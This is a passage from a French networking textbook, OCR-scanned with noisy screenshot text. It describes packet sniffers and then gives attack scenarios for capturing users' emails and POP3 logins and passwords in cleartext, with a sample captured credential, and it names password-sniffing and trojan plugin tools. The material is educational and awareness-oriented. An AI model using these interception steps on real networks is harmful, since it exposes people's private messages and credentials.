Dans ce qui suit, nous détaillerons les caractéristiques et les fonctionnalités de
quelques sniffers.
3.8.1. Ethereal

C’est I’'un des sniffers gratuits les plus utilisés sur Linux et sur Windows.
Ethereal permet de capturer seulement les paquets dans un réseau partagé. Ce qui
veut dire que dans un réseau commuté, il est obsoléte car les paquets n’arrivent pas a
la machine sur laquelle tourne Ethereal.

Le principe est simple.

Pour lancer une session de capture, il faut accéder au menu Capture puis cliquer
sur I’option Start.

«<capture= - Ethereal

File Edit =Rty  Display 1

mo | Time  [EECUSIES S

172.16.0.2

T e I T ol ot | ATA Am o\ oAaraA

Apparait alors la boite de dialogue qui permet de spécifier ce qui doit étre
analysé.

Le champ Interface permet de choisir I’interface sur laquelle on va écouter.

Le champ Count permet de spécifier le nombre des paquets a sniffer. La valeur 0
(Infinite) indique qu’Ethereal captera des paquets jusqu’a ce qu’on lui demande
d’arréter.
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.| Ethereal: Capture Preferer [ 1] [£]
Interfan:e:|eth[l j

Count: [0 (Infinite) j

M|udp and port 53

e
Capture length Wj

[# Update list of packets in real time

= automatic scrolling in live capture

_|Enahle name resolution

T oK Zancel

Le champ Filter permet de limiter les paquets qui seront conservés. Seuls les
paquets pour lesquels cette expression est vraie seront conserves.

Le champ File permet de spécifier le fichier dans lequel se trouve les paquets
capturés.

Update list of packets in realtime permet, quand I’option est cochée, de voir les
paquets s’afficher en temps réel (pendant la capture) dans la fenétre des paquets
disponibles. Cette option n’est pas efficace s’il y a trop de paquets conservés.

Automatic scrolling in live capture permet de voir les derniers paquets s’afficher
en temps réel dans la fenétre des paquets disponibles en faisant défiler la liste des
paquets disponibles. Cette option ne doit étre utilisée que s’il y a peu de paquets
(surtout sur un portable avec un affichage lent).

Enable name resolution permet de demander une traduction des adresses IP en
noms. Cette option doit étre manipulée avec précaution car elle génere des requétes
DNS qui peuvent encombrer le réseau et faire perdre du temps. Surtout s’il y a
beaucoup d’adresses IP différentes dans les paquets et qu’elles ne sont pas connues

par les DNS. Durant la capture, une boite de dialogue récapitule les paquets qui sont
CONServes.
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] [=]
Count: B
TCP: 0 (0.0%)
UDP: &6 (100.0%)
ICKP: O (0.0%)
OSPF: 0 (0.0%)
GRE: 0 (0.0%)
MetBIOS: 0 (0.0%)
IPx: 0 (0.0%)
VINES: 0 (0.0%)
Other: 0 (0.0%)

> Stop

En méme temps, les paquets apparaissent dans la fenétre principale si I’option
update list of packets in realtime a été cochée. Un clic sur le bouton Stop permet
d’arréter la capture. Les paquets deviennent disponibles dans la fenétre principale
s’ils ne le sont pas déja.

,0.254 [DNS Standard PTR 254.0,16,172.in—addr, ag
0.025637 172.16.

254 1?18.0.2 DNS Standard query response, Server failure

2 0
3 16.280001 172.16.0.2 172.16.0.254 DNS Standard query PTR 254.0.16.172.in—addr.ar
4 16.304113 172.16.0.254 172.16.0.2 DNS Standard query response, Server failure
5 25.194640 172.16.0.2 172.16.0.254 DNS Standard query PTR 254.0.16.172.in—addr.ar
6 25.218546 172.16.0.254 172.16.0.2 DNS Standard query response, Server failure

I : [T |

@ Frame 1 (85 on wire, 85 captured)
Ethernet II
B Internet Protocol
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default)
Tntal lanath: 74

0000 00 <0 6d 13 22 28 00 60 bQ 5¢ e F8 08 00 45 00 .
0010 00 47 00 00 40 00 40 11 e1 85 ac 10 00 02 ac 10 .G..@.€. ........
0020 00 fe 04 00 00 35 00 33 ec b8 93 63 01 00 00 01  .....5.3 ...c....
0030 00 00 00 00 00 00 03 32 35 34 01 30 02 31 36 03  .......2 54.0.16.
0040 31 37 32 07 63 Be 2d 61 64 64 72 04 61 72 70 61 172.in-a ddr.arpa

Finer.“'_ _ vl Resetl] <live capture in progresss

EET

EL
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L’affichage des résultats se décompose en trois parties :

— la liste des paquets capturés disponibles en dessous de la barre de menu avec
un affichage synthétique du contenu de chaque paquet ;

— le détail exact du paquet sélectionné dans la liste. Cette opération permet de
visualiser les champs des en-tétes des protocoles ainsi que I’imbrication des
différentes couches de protocoles connus ;

— la troisieme zone contient le paquet (le début s’il est trop gros) affiché en
hexadécimal et en ASCII.

Tout en bas du programme se trouve un champ filter. Il permet d’afficher
uniquement les paquets qui correspondent aux critéres spécifiés dans ce champ
filter. C’est un filtre qui permet de cacher provisoirement une partie des paquets.

3.8.1.1. Les filtres
Il'y a deux sortes de filtres. Les filtres de capture et les filtres d’affichage. Ces
filtres n’ont pas la méme syntaxe. Le paragraphe ci-dessous en donne des exemples.

3.8.1.1.1. Filtres de capture

Ne seront gardés que les paquets pour lesquels le filtre est vrai. Les filtres se
décomposent en trois parties :

— le protocole qui peut étre ether, fddi, ip, arp, rarp, tcp, udp ;
— la direction qui peut étre src (source) ou dst (destination) ;
— un champ qui peut étre host, net ou port suivi d’une valeur.

Les opérateurs and, or et not peuvent étre utilisés pour combiner des filtres.

Filtre Fonction

Ne conserve que les paquets TCP a destination ou en
host 172.16.0.1 and tep provenance de la machine 172.16.0.1.

Ne conserve que les paquets UDP en provenance ou a
udp port 53 destination du port 53.
udp port 53 and dst host Ne conserve que les paquets UDP en provenance ou a
172.16.0.1 destination du port 53, destinés & la machine 172.16.0.1.
tcp dst port 80 and dst host Ne conserve que les paquets TCP a destination de la
172.16.0.1 and src net machine 172.16.0.1 sur le port 80 et en provenance des
172.16.0.0 mask 255.255.255.0 | machines du réseau 172.16.0/24.
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3.8.1.1.2. Filtres d’affichage

lls sont un peu plus fins que ceux de la capture. Seuls les paquets pour lesquels
I’expression du filtre est vraie seront gardés. Les expressions sont basées sur les
champs disponibles dans un paquet. Le simple ajout d’un champ veut dire que I’on
garde le paquet si ce champ est disponible. On peut aussi utiliser les opérateurs ==,
1=, >, <, >= et <= pour comparer les champs a des valeurs. Les expressions ainsi
composées peuvent étre combinées avec les opérateurs && (pour ET logique), ||
(pour OU logique), ™ (pour OU exclusif) et ! (pour la négation). L’usage des
parenthéses est possible.

Champ Type Signification
ip.addr adresse IPv4 Adresse IP source ou destination
ip.dst adresse IPv4 Adresse IP destination
ip.flags.df | booléen Drapeau IP, ne pas fragmenter
ip.flags.mf | booléen Drapeau IP, fragments a venir
ip.ttl entier non signé sur 8 bits | Time to live
icmp.code | entier non signé sur 8 bits | Numéro du code d’une commande ICMP
icmp.type | entier non signé sur 8 bits | Numéro du type d’une commande ICMP

Ci-dessus, quelques exemples des champs disponibles.

Voici quelques exemples de filtres.

Filtre Signification

Tous les paquets IP en provenance ou a

ip-addr == 172.16.0.100 destination de la machine 172.16.0.100.

(ip.addr >= 172.16.0.100) && Tous les paquets IP en provenance ou a
' B destination des machines comprises entre

I’adresse IP 172.16.0.100 et I’adresse IP

(ip-addr <= 172.16.0.123) 172.16.0.123 (comprises).
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3.8.2. Sniffer Pro

Sniffer Pro de Network Associates® est considéré comme I’un des meilleurs
sniffers dans le monde et a été classé par Network Computing” en 7€ position sur la
liste des 10 plus importants produits de la décennie, toutes disciplines confondues.

A la différence de certains sniffers gratuits, Sniffer Pro explicite le contenu de
chacune des en-tétes des paquets, voire ceux de la couche application, et fournit une
analyse en détail de ce qui se produit avec chacune. Malgré son codt trés élevé,
Sniffer Pro est I’'un des meilleurs produits pour visualiser ce qui se passe sur
le réseau.

Dans sa derniére version, Sniffer Pro interpréte 420 protocoles de
communication : protocoles Internet (HTTP, FTP, voix sur IP), protocole NT
(Nethios ou SMB de Microsoft) et protocoles applicatifs (bases de données Oracle,
Sybase, SQL Server ou SAP). Il s’intégre désormais a des environnements
physiques divers.

Sniffer Pro est doté de systémes experts qui permettent non seulement d’analyser
les protocoles, de décoder les messages mais aussi de fournir la raison d’un rejet. La
société Network Associates met a jour ces systémes experts au fur et a mesure de
I’émergence de nouveaux environnements applicatifs.

Fonctionnalités et avantages

Sniffer Pro maximise les performances des réseaux en offrant les avantages

suivants :

1) dépannage rapide :

- I’interface utilisateur est intuitive, pour capturer et afficher plus rapidement
les données ;

2) graphes en temps réel :

- la carte du trafic et la matrice du trafic indiquent les points de communication,

- la vue par station permet d’identifier en temps réel les « gros consommateur »
de bande passante,

- I’information sur la distribution des protocoles affiches les protocoles en
cours d’utilisation, les applications IP en fonctionnement, etc. ;

3) planification précise du réseau :

6. http://www.networkassociates.com.
7. http://www.nwc.com.
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- Sniffer Pro surveille, analyse et affiche I’ utilisation du réseau dans le temps,
- il permet de suivre I’utilisation journaliere pour planifier efficacement les
changements et la croissance du réseau.

Sniffer Pro inclut également un générateur de paquet et permet le filtrage du
trafic a capturer selon des criteres définis par I’utilisateur.

3.8.3. CommView

CommView est un programme congu pour contréler les activités des réseaux. Il
est capable de capturer les paquets qui passent par une connexion modem ou par une
carte réseau et d’analyser les paquets des réseaux en décodant les données capturées.

Avec CommView, on peut accéder a la liste des connexions réseau, ainsi qu’aux
statistiques IP vitales, puis examiner les paquets individuellement. Le décodage des
paquets se fait au niveau le plus bas, accompagné d’une analyse compléte des
protocoles les plus communs. Les paquets capturés peuvent étre enregistrés pour des
fins d’analyse future. Un systéme flexible de filtres permet I’abandon des paquets
qui ne présentent aucun intérét, ou simplement une capture sélective. Des alarmes
configurables peuvent signaler des événements importants, tels que des paquets
suspects, une utilisation élevée de la bande passante ou des adresses inconnues.

CommView est un outil utile pour les administrateurs de réseau, les
professionnels en sécurité, ou toute personne souhaitant avoir une idée sur le trafic
dans un ordinateur ou dans un segment de réseau. Cette application est congue pour
les utilisateurs d’Internet, ainsi que pour les petits et moyens réseaux, et peut opérer
sur n’importe quel systeme Windows 95/98/Me/NT/2000/XP/2003. CommView
requiert une carte réseau de type Ethernet, une carte réseau sans fil Ethernet ou une
carte de réseau en anneau a jeton prenant en charge le pilote NDIS 3.0 standard, ou
une connexion par modem a accés commuté standard.

CommView procure le décodage complet de plusieurs protocoles tels que : ARP,
DHCP, DNS, FTP, HTTP, HTTPS, ICMP, ICQ, IGMP, IMAP, IPsec, IPv4, IPv6,
IPX, NetBIOS, NFS, NLSP, NNTP, NTP, OSPF, POP3, PPP, PPPoE, RARP,
RADIUS, RDP, RIP, SMTP, SNA, SNMP, SNTP, SOCKS, SSH, TCP, TELNET,
TFTP, UDP.

L’interface du programme consiste en cing onglets qui permettent de visionner
les données et d’exécuter des actions variées avec les paquets capturés. Pour
commencer a capturer les paquets, un adaptateur de réseau doit étre sélectionné a
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partir de la liste du menu déroulant sur la barre d’outils. Il faut sélectionner le fichier
cible en cliquant sur le bouton Démarrer la capture ou démarrer la capture & partir
du menu. Si le trafic du réseau qui passe par I’adaptateur de réseau est sélectionné,
CommView commence & afficher les informations.

CommView intégre les outils suivants :
— générateur de paquet qui permet d’envoyer des paquets ;

— reconstructeur de session TCP qui permet de reconstruire une session TCP en
partant du paquet sélectionné ;

— identificateur de fournisseur NIC pour identifier un fournisseur d’adaptateurs
réseau par adresse MAC ;

— planificateur pour ajouter ou supprimer des taches de capture planifiée.

Ml Enable advanced rules

Marne e T Forriula Add/Edit

Dielete

Evaluate

- Add/Edit Record

LRI, 0 Capture packets (inclusive)

8 orore portets (exciive)

Farmula:

CommView offre a I'utilisateur la possibilité de filtrer le trafic capturé ou a
capturer. L’option «advanced rules» permet de créer des régles de filtrage
complexe en utilisant la logique boolienne. L’écran ci-dessus est un exemple de
création de régle de filtrage complexe.

3.8.4. TCPdump

TCPDump est probablement I’outil de sniffing réseau le plus largement répandu
et le plus connu pour la plate-forme Unix. NRG (network research group) a
maintenant porté le logiciel sur les plates-formes Windows. La version Windows est
nommée WinDump.
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Elaboré par Van Jacobson, Craig Leres et Steve McCanne de I’université de
Berkeley, il analyse avant tout les protocoles TCP/IP. 1l sniffe I’en-téte des segments
TCP et des datagrammes IP. Il ne sniffe en aucun cas les données.

TCPdump peut capturer et filtrer les paquets en provenance d’une interface
réseau qui a été placée en mode promiscuous. Cette fonctionnalité est fournie par la
bibliothéque Berkley Packet Filter (BPF). TCPDump peut étre utilisé pour observer
et diagnostiquer le trafic de réseau selon diverses régles complexes. Il peut y avoir
plusieurs niveaux d’analyse du trafic réseau et il peut enregistrer toutes ces
informations dans un fichier pour une analyse ultérieure.

3.8.5. Snort

Snort supporte pratiqguement tous les systémes d’exploitation : Linux, OpenBSD,
FreeBSD, NetBSD, Solaris, SunOS, Hp-ux, Aix, Irix, Trué4, OS X d’imper,
Windows 95, Windows 98, Windows NT 4, Windows 2000 et Windows XP.

Snort est un systeme de détection d’intrusion léger et capable d’analyser et
d’enregistrer le trafic en temps réel. 1l peut faire le décodage des protocoles et
examiner le contenu des paquets pour détecter les attaques d’inondation des
tampons, les balayages de port, etc.

3.9. Les sniffers controlables a distance

Un sniffer classique capture seulement les paquets circulant dans le segment
Ethernet de la machine exécutant ce sniffer. Il ne peut donc pas capturer les paquets
qui ne passent pas par le réseau de la machine exécutant le sniffer.

Cependant, il existe des sniffers qui peuvent étre installés dans un segment
Ethernet et étre controlables a partir d’un autre segment. Ces sniffers sont basés sur
la technologie client/serveur (figure 3.19). Ils utilisent deux programmes, a savoir un
programme client et un programme serveur. Le programme serveur est installé dans
une machine du segment réseau Ethernet cible, le programme client est installé dans
une machine située dans un autre segment Ethernet. C’est le programme client qui
va activer et controler le programme serveur du sniffer. Une fois activé, le
programme serveur capture tous les paquets circulant dans son segment et les envoie
en temps réel au programme client. Le programme serveur peut également
capturer les paquets et les enregistrer dans un fichier qu’il envoie ensuite au
programme client.
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Le programme
Seryam el =, SErmeur
il i, (g, 'du Sniffer
: ! E‘%‘ P, 1?{

Réseau cible

Commandes
de cortrdle

FPaquet=
capturés

Le programme | =%
client =
du Sniffer G

Figure 3.19. L’architecture client/serveur des sniffers contrdlable & distance

Ce type de sniffer peut étre trés dangereux si un agresseur arrive a installer le
programme serveur du sniffer dans une entreprise. A partir d’un autre réseau
externe, I’agresseur se connecte d’abord au programme serveur avec le programme
client, en général sur un port secret, et active le sniffer. Il est alors capable
d’espionner a distance le réseau de I’entreprise et de voir toutes les activités des
utilisateurs du réseau. Des mots de passe, le contenues des e-mails, les sites web
visités sont des exemples d’informations que I’agresseur va collecter a distance.

3.9.1. Exemple 1 : CommView Remote Agent

CommView Remote Agent (www.tamos.com) est une application dédiée au
controle du trafic de réseau a distance. Il permet aux utilisateurs de capturer le trafic
de réseau sur tout ordinateur ol Remote Agent opére, sans tenir compte de la
location physique de celui-ci. Ainsi, il n’est plus limité au segment LAN de son
ordinateur personnel.
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Si un administrateur réseau veut localiser les problémes d’installation d’une
application complexe dans un réseau distant, il lui suffit simplement d’installer
CommView Remote Agent sur le systeme ciblé et de regarder le trafic réseau dans le
confort de son bureau, comme s’il y était. CommView Remote Agent est un outil
indispensable pour les professionnels de réseau, d’application et de sécurité,
puisqu’il peut résoudre un large éventail de problémes, tel que le contrble de
segments LAN multiples, le contrdle d’une application a distance et la localisation
des problémes de réseau.

Aprés une installation rapide et une configuration simple, CommView Remote
Agent est prét a accepter les connexions de CommView. Une fois la connexion
établie et I’authentification réussie, CommView Remote Agent est prét a capturer les
paquets dans son segment de réseau et de les transmettre a CommView. Pour sauver
la bande passante, les paquets transmis sont compressés, et ils sont encryptés pour
assurer une transmission sécuritaire a travers les canaux de réseau insécurisés.
CommView posséde un systéme flexible de filtres capable de filtrer vers I’extérieur
tous les paquets indésirables, tout en minimisant la bande passante utilisée pour le
lien TCP entre CommView et CommView Remote Agent.

CommView Remote Agent peut étre installé sur tous les systemes Windows. 1l
requiert une carte réseau de type Ethernet, une carte réseau Ethernet sans fil
supportant le pilote standard NDIS 3.0, ou un adaptateur de modem RTC standard.

Dans I’architecture client/serveur décrite dans le paragraphe précédent, CommView
Remote Agent est le programme serveur, par contre le sniffer CommView est le
programme client.

3.9.2. Utilisation de CommView Remote Agent

CommView Remote Agent doit étre installé sur un ordinateur qui fait partie du
réseau dont on désire capturer le trafic. Cependant, il est inutile d’installer a la fois
CommView et CommView Remote Agent sur le méme ordinateur.

Lors de I’installation, I’utilisateur doit sélectionner un numéro de port TCP et un
mot de passe. Le numéro de port TCP (5050 par défaut) sera utilisé par le
programme pour accepter les connexions client de CommView. Le mot de passe
est requis pour I’authenticité du client et I’encryptage subséquent de paquet
(figure 3.20).
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Remote Agent Configuration and Installation ) X

— Configuration

Fort number: IEEIEEI

Fassword: I

The port number is the TCF port on which Bemote Agentwill listen for
connections. The password is required for authenticating clients connecdting 1o
Femate Agent, as well as for the packet encryption.

< Bac | MNext > Einish Help

Figure 3.20. Installation et configuration de CommView Remote Agent

Une fois le sniffer installé et lancé, la fenétre de I’application ci-dessous est
affichée. Le cadre status montre le statut du programme. Le cadre service a plusieurs
boutons de configuration. Le bouton change port permet de modifier le numéro de
port sur lequel I’application écoute. Pour changer le mot de passe, il faut cliquer sur
le bouton change password. Pour faire une pause ou résumer I’opération du
programme, il faut cliquer sur le bouton pause.

3.9.3. Contréle du trafic avec le programme client : le sniffer CommView

Ce paragraphe décrit comment utiliser CommView pour se connecter a CommView
Remote Agent et y capturer le trafic a distance.

Pour contrbler le trafic de réseau sur les ordinateurs a distance, il faut avoir
CommView Remote Agent opérant sur I’héte a distance et CommView opérant sur
un autre ordinateur.

A partir de I’interface de CommView, le passage au mode de contrdle a distance,
se fait par file/remote monitoring mode. Une barre d’outils additionnelle apparait
dans la fenétre principale de CommView au-dessous de la barre d’outils principale
(figure 3.21).

L’adresse IP de I’ordinateur exécutant CommView Remote Agent est exigée

dans le champ d’entrée de données d’adresse IP pour pouvoir se connecter. Si un
firewall ou un serveur proxy fait obstacle, ou que Remote Agent tourne sur un port
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non standard, il faut cliquer sur le bouton network settings pour modifier le numéro
de port et/ou entrer les configurations du serveur proxy.

B Comm¥iew - Evaluation Yersion 10l x|

J File Search Wiew Tools Settings Rules Help
[Poled-0O- |2 =| =
X 7.10 - | ga::@ | Ready

IF Statistics | (T Packets | Logging | I Rules | i34 Alarms |

Laocal IP - | Remote IP | In | Juk | Direction | Sessions | Ports | Hostname |B tes|

|Capture: o |Pkts: Oinf 0aut {0 pass |Auto—saving: ol |Rules: ulis |.|'-\Iarms: oli |1°.'"0 P Usat_| =

Figure 3.21. Connexion a CommView Remote Agent a partir de CommView

Une fenétre contextuelle (pop-up) apparaitra demandant d’entrer le mot de passe.
Une fois le mot de passe correct de Remote Agent entré, la connexion est établie.

Exemple 2 : le sniffer ButtSniff du cheval de Troie BackOrifice

A BackOrifice peut étre ajouté le plugin ButtSniff. Ce plugin est un
sniffer qui permet d’espionner a distance un réseau ou se trouve une machine
infectée par BackOrifice. ButtSniff est téléchargeable a partir de I’adresse :
http://www.packetstormsecurity.org.

3.10. Résumé du chapitre 3

Ce chapitre traite des sniffers dans les réseaux Ethernet partagés. Les cartes
réseau fonctionnent en deux modes, & savoir le mode normal et le mode
promiscuous. Par défaut, une carte réseau fonctionne en mode normal. Ce mode
permet & la carte de filtrer les paquets recus sur I’adresse MAC destination. Par
opposition, le mode promiscuous permet a la carte réseau de désactiver le filtre et
d’accepter tous les paquets circulant dans le réseau. Lorsqu’un sniffer s’exécute sur
une machine, la carte réseau de cette machine est en mode promiscuous.

Les sniffers sont d’excellents outils aussi bien pour I’administration des réseaux
gue pour la didactique dans les cours de réseaux. Cependant, ils sont utilisés aussi
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pour réaliser des activités malveillantes notamment la collecte d’informations
confidentielles.

Le chapitre suivant donne des scénarios pratiques d’attaques de sniffing. Le
lecteur découvrira comment avec peu de connaissances de base en matiére de réseau
(protocoles TCP/IP et services réseaux), un utilisateur malveillant peut facilement
mener ses attaques.
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CHAPITRE 4

Scénarios d’attaques avec des sniffers

Dans ce chapitre, nous montrerons comment un utilisateur malveillant muni d’un
sniffer peut espionner et collecter des informations confidentielles des utilisateurs
d’un réseau. Un utilisateur chevronné en matiére de réseau, des protocoles TCP/IP
et des services réseaux (FTP, HTTP, SMTP, POP3, etc.) sera évidement plus
dangereux qu’un débutant.

A travers un nombre d’exemples pratiques et réels, ce chapitre tente de
sensibiliser aux dangers que présente I’utilisation des sniffers par des utilisateurs
malveillants. Egalement, le lecteur va constater rapidement la facilité d’utilisation
des sniffers pour espionner les autres utilisateurs du réseau cible et collecter des
informations confidentielles. Des sniffers, tel que Sniffer Pro, offrent des fonctionnalités
avancées qui faciliteront la collecte d’informations confidentielles. Par exemple, il
permet d’afficher les en-tétes des paquets capturés des services réseaux, tels que les
en-tétes FTP, HTTP, et SMTP. Ainsi, il suffit de lire les en-tétes des paquets du
service SMTP pour pouvoir lire le contenu des e-mails envoyés par un utilisateur
dans le réseau. Tout service réseau envoyant des paquets non cryptés est vulnérable
aux attaques du sniffing.

Les cas d’attaques qui seront détaillés sont les suivants :
1) visualisation des connexions réseau ;
2) lecture des e-mails des utilisateurs ;

3) récupération des logins et des mots de passe des comptes e-mail des
utilisateurs ;

4) visualisation des sites web visités par les utilisateurs ;
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— 5) récupération des logins et des mots de passe pour accéder a des services FTP ;
— 6) récupération des fichiers texte téléchargés a partir d’un serveur FTP ;

— 7) réalisation des attaques de déni de service (DoS) ;

— 8) désactivation des connexions TCP ;

— 9) attaque de redirection de route avec un paquet ICMP.

4.1. Visualisation des connexions réseau

Méme sans connaissance en réseau et protocoles TCP/IP, avec un sniffer, un
utilisateur malveillant peut visualiser le trafic de son réseau notamment les
différentes connexions. Ce type d’activité peut ennuyer les utilisateurs des réseaux,
puisqu’il touche a leur vie privée. Dans I’écran ci-dessous, le sniffer Sniffer Pro
affiche clairement les deux adresses IP de chaque connexion active des machines
du réseau.

\. =10l
; *yF ols  Database ‘Window Help =12 _)Q
|7{ 1| m|ta| - |

B{d| 85| Sfnlo|e|ESaR] 2 el &

@ Traffic Map

Capture Filter On = ds F1 [ em A, [2e0

4.2. Lecture des e-mails des utilisateurs
Un agresseur situé dans un réseau peut lire les e-mails envoyés par tous les

autres utilisateurs connectés au segment du réseau ou se trouve I’agresseur. Pour
réaliser cette attaque, il suffit d’installer un sniffer permettant la capture des paquets
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selon des critéres de filtrage définis par I’utilisateur. Dans notre cas, I’agresseur
définit des filtres de sorte que le sniffer ne capture que les paquets dont le port
source ou destination est égal & 25. En principe, tout trafic utilisant le port 25 est un
trafic correspondant & des e-mails. Puisque les données dans les e-mails sont en
général non cryptees, I’agresseur peut alors facilement lire le contenu des e-mails
transitant par le réseau.

Sniffer Pro permet de visualiser le contenu des en-tétes des protocoles de service,
tel que le service SMTP. Ainsi, pour la lecture des e-mails d’autrui, Sniffer Pro est
un excellent outil puisque I’utilisateur n’a qu’a lire directement le contenu du e-mail
dans les en-tétes SMTP affichés.

L’écran ci-dessous montre une session SMTP capturée par Sniffer Pro. Cette
session est établie entre la machine d’adresse IP 172.16.16.2 et la machine d’adresse
193.95.67.14 (smtpin.ati.tn). L utilisateur décodera cette session pour visualiser le
contenu des paquets constituant cette session.

COMPAG { [172.16.16.2] ) [172.16.16,255]
COMPAG { [172.16.16.2] ) [193.45.14.175]

L’écran ci-dessous montre en clair les adresses e-mails de I’expéditeur et du
destinateur des e-mails envoyés par la machine d’adresse IP 172.16.16.2.
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ACK=3956406 WIN=5840
250 2.0.0 Reset state
ACK=2632067798 WIN=17269
C PORT=1162 MAIL FROM: <trabelsi.zouheix 99
D=1162 5 ACK=3956451 WIN=5840

RCPT TO: <zDuhelIZUUl2UUl@yc 92
ACK=3956489 WIN=5840

C PORT 1162 DaTh
D=1162 5 ACK=3956495 WIN=5840
R PORT=1162 354 Enter mail. end with

TCP: D=1162 S=25 ACK=3957838 WIN=8058
MTP- " PORT=116£7  Tawt

Hessage-ID: <000a0lc4f3445b9d4d99405021010ac@conpag s

From: "Zouheir Trabelsi" <trabelsi. zouheir@supcom.rnu.tny
To: <zouheir20012001@yahoo.con:

Subject: Tunis Conferesnce

Date: Wed, 5 Jan 2005 17:36:28 +0100

HINE-Version: 1.0

Content-Type: multipart-alternative;

<U9>boundary— ———=_NexmtPart_000_0007_01C4F34D. 168DA730"

-

L’écran ci-dessous montre le contenu de I’e-mail envoyé par la machine
d’adresse IP 172.16.16.2, a savoir: « This is a test: Tunis conference Zouheir
Trabelsi ».

=1162 5=25& ACK=3956406 WIN=5840

R PORT=11g62 250 2.0.0 Reset state

D=25 S=1162 ACK=2632067798 WIN=17269

C PORT 1162 MAIL FROM: <trabelsi.zouheix 99
D=1162 ACK=3956451 WIN=5840

R FORT 1162
: C PORT=1162 RCPT TO: <zouhe1rZUUl2UUl@yc 92
D=1162 S5=25% ACK=3956489 WIN=5840

ik

DaTh
ACK=3956495 WIN=5840
354 Enter mail. end with

=_HextPart 000_0007_01C4F34D.16B8DA730
Content-Type: text- plain:
<09:charset="i=0-8650-1"
Content-Transfer-Encoding: guoted-printable

This i= a test: Tunis Conference
Zouheir Trabelsi

=_HextPart_000_0007_01C4F34D. 16BDATE0
Content-Type: text~html;
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4.3. Récupération des logins et des mots de passe des comptes e-mail des
utilisateurs

Le service POP3 est utilisé lorsqu’un utilisateur veut télécharger ses e-mails a
partir d’un serveur de messagerie électronique. L’utilisation du service POP3 exige
de I'utilisateur gqu’il s’authentifie en fournissant son nom de compte (login) et un
mot de passe. Ce service envoie ces informations en clair. Ainsi, un utilisateur
malveillant avec un sniffer peut capturer les login et mot de passe. Dés que la
victime se déconnecte du serveur POP3, I’ utilisateur malveillant lance une connexion
avec les mémes login et mot de passe. Il est considéré comme un utilisateur 1égitime.
Il peut alors manipuler, télécharger et lire les e-mails de sa victime. Les écrans ci-
dessous montrent un exemple réel détaillant I’obtention du login et du mot de passe
d’un utilisateur d’Outlook Express.

Au départ, I'utilisateur malveillant visualise la connexion de la machine
172.16.16.2 vers le serveur POP3 d’adresse 193.95.67.13.

En décodant les paquets capturés, I’agresseur obtient le login et le mot de passe a
partir des paquets numérotés 5 et 8 (voir I’écran ci-dessous). Précisément, le login et
le mot de passe se trouvent dans les en-tétes du protocole POP3.
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Ainsi, dans les en-tétes POP3 des paquets 5 et 8, on voit clairement le login et le
mot de passe du compte e-mail de I’utilisateur, a savoir respectivement « supc5 » et
« TNTN++ »,

nuheir: Decod

5/20 Ethernet Frames]

., Login .

110 R sup - e i
=1446 S=110 ACK=84781228% WIN=5840 &0
: R PORT=1446 +0K Passvord required for =88
POP3: C PORT=110 PASS THIH++ &7
TCF: D=1446 S=110 ACK=8{7egnae - 650

POP3: C PORT=110 QUIT
TP N=1448 CS=110 M’Vnﬁ.ﬂrﬁ1 7314 UTH=C2AN

- — 0 = (No FIN) — A
Vindow = 17465
! Checksum = AABE {correct)

: ¥o TCP cptions
: [12 Bytes of data]

-

B ol el

Plus simplement, I’utilisateur malveillant peut utiliser un sniffer dédié a la
capture des logins et mots de passe, tels que les sniffers de mots de passe WinSniffer
(http://www.winsniffer.com) et Ace Password Sniffer (http://www.effetech.com).
L’écran ci-dessous montre le login (user name) et le mot de passe (password)
capturés par le sniffer Ace Password sniffer d’une session POP3.

x4 Ace Password Sniffer -3l x|
File Wiew Control Help

RN
Time | Client | Server | Protocol | User Marme Password | Valid? | Infio
Apr 05, 12:00;57  172.16.16.2 193.95.67 .13 POP3 supcS THTH++ el 4 +0F supcS
4| | 2
Ready Count: 1 v
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4.4. Visualisation des sites web visités par les utilisateurs

L’utilisateur d’un réseau peut frauduleusement visualiser les adresses des sites
web visités par les autres utilisateurs du méme réseau. Pour réaliser cette attaque, il
lui suffit d’installer un sniffer permettant, selon des critéres de filtrage préalablement
définis, la capture de paquets. Dans ce cas de figure, I’agresseur définit donc des
filtres de telle sorte que le sniffer capture seulement les paquets dont le port source
ou destination est égal a 80 (ou 8080 dans le cas d’un proxy) ou les sessions du type
HTTP. En principe, tout trafic utilisant le port 80 ou 8080 est un trafic correspondant
a des activités web (service HTTP). Il est clair que ce type d’attaque touche
directement a la vie privée des utilisateurs réseaux.

Par exemple, I’écran ci-dessous, obtenu avec Sniffer Pro, montre que la machine
d’adresse IP 172.16.16.2 est connectée au site de I’université de Qatar
(www.qu.edu.qa) dont I’adresse IP est 80.231.135.132.

]-_-‘_"E_Sniffer - Local, Ethernet (Line speed at 10 Mbps) - [Snif? i m) 1[

"_' File Monitor Capture Display Tools Database Window Help = 5[
| v| | || #8| 8] [Detauk v|

=] 8|5 sl=lolsE sl 2 ¢ @
ESE

» Mk Station 1 | et Station 2 | Pratocol | Regues

www.qu.edu.qa  [80.231,135.132] ) [172.16.16.2] HTTR < ‘S”

g

2

"

=}

=

[

3

Diagnoses
Symptoms | | _’I
|

Objects

Expert /i Decode A Matrix j Host Table A Protocol Dist.  Statistics /
For Help, press FL [ [ 264 v

L’option « Reconstruct TCP Session » de CommView permet de reconstruire des
sessions TCP avec un serveur web distant. L’écran ci-dessous montre comment
grace a cette option, on a pu reconstruire la connexion web de la machine d’adresse
IP 172.16.16.2 avec le site web de I’éditeur Hermeés Science (http://www.editions-

hermes.fr).
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E .
Edit Sattings

|79 Lractuaied des Edtions Hermez La page d'accueil du =
site Web de I'editeur
Hermes Science

|— i el modéle non-entier (1) Prin

QUSTALOUP Alain, COIS Olivier, LELAY Ludovie LECOY Piere

Date de parution - 04-2005 - Langue : FRANGAIS - 2T0p Diate de parution . 04-2005 - Langue : FRANGAIS - 446p

1554235 16u24

75.00 € |[F] Acheter cet cuvrave 80.00 € |[F) cheter cet quvrage
Cet ouwrage la p Etude & Cet owrage de synthése présente les principes, les
consacrée 3 la représentation et 3 Ndentification par modéle  lechnologies et |e fonc des & etréseau de _|
non entier. Il concrétise de maniére pé Ies travaux  (&lécommunications. Il s'adresse aux Swudiants, Ingénieurs et

de recherche menés par I8quipe CRONE durant la demiére  techniciens développant ou uflilisant des systémes de
détennie. La dérivation non entigre en est le fondement.  télécommunications désirewx de comprendre ces technologies,
Apras un rappel de ses définitions et propriétés, elie est  de disloguer avec des spécialistes et d'aborder des ouwages ef
utilisée dans la représentation d'état et lanalyse des  adicles spécialisés. La premigre partie décnit les principes

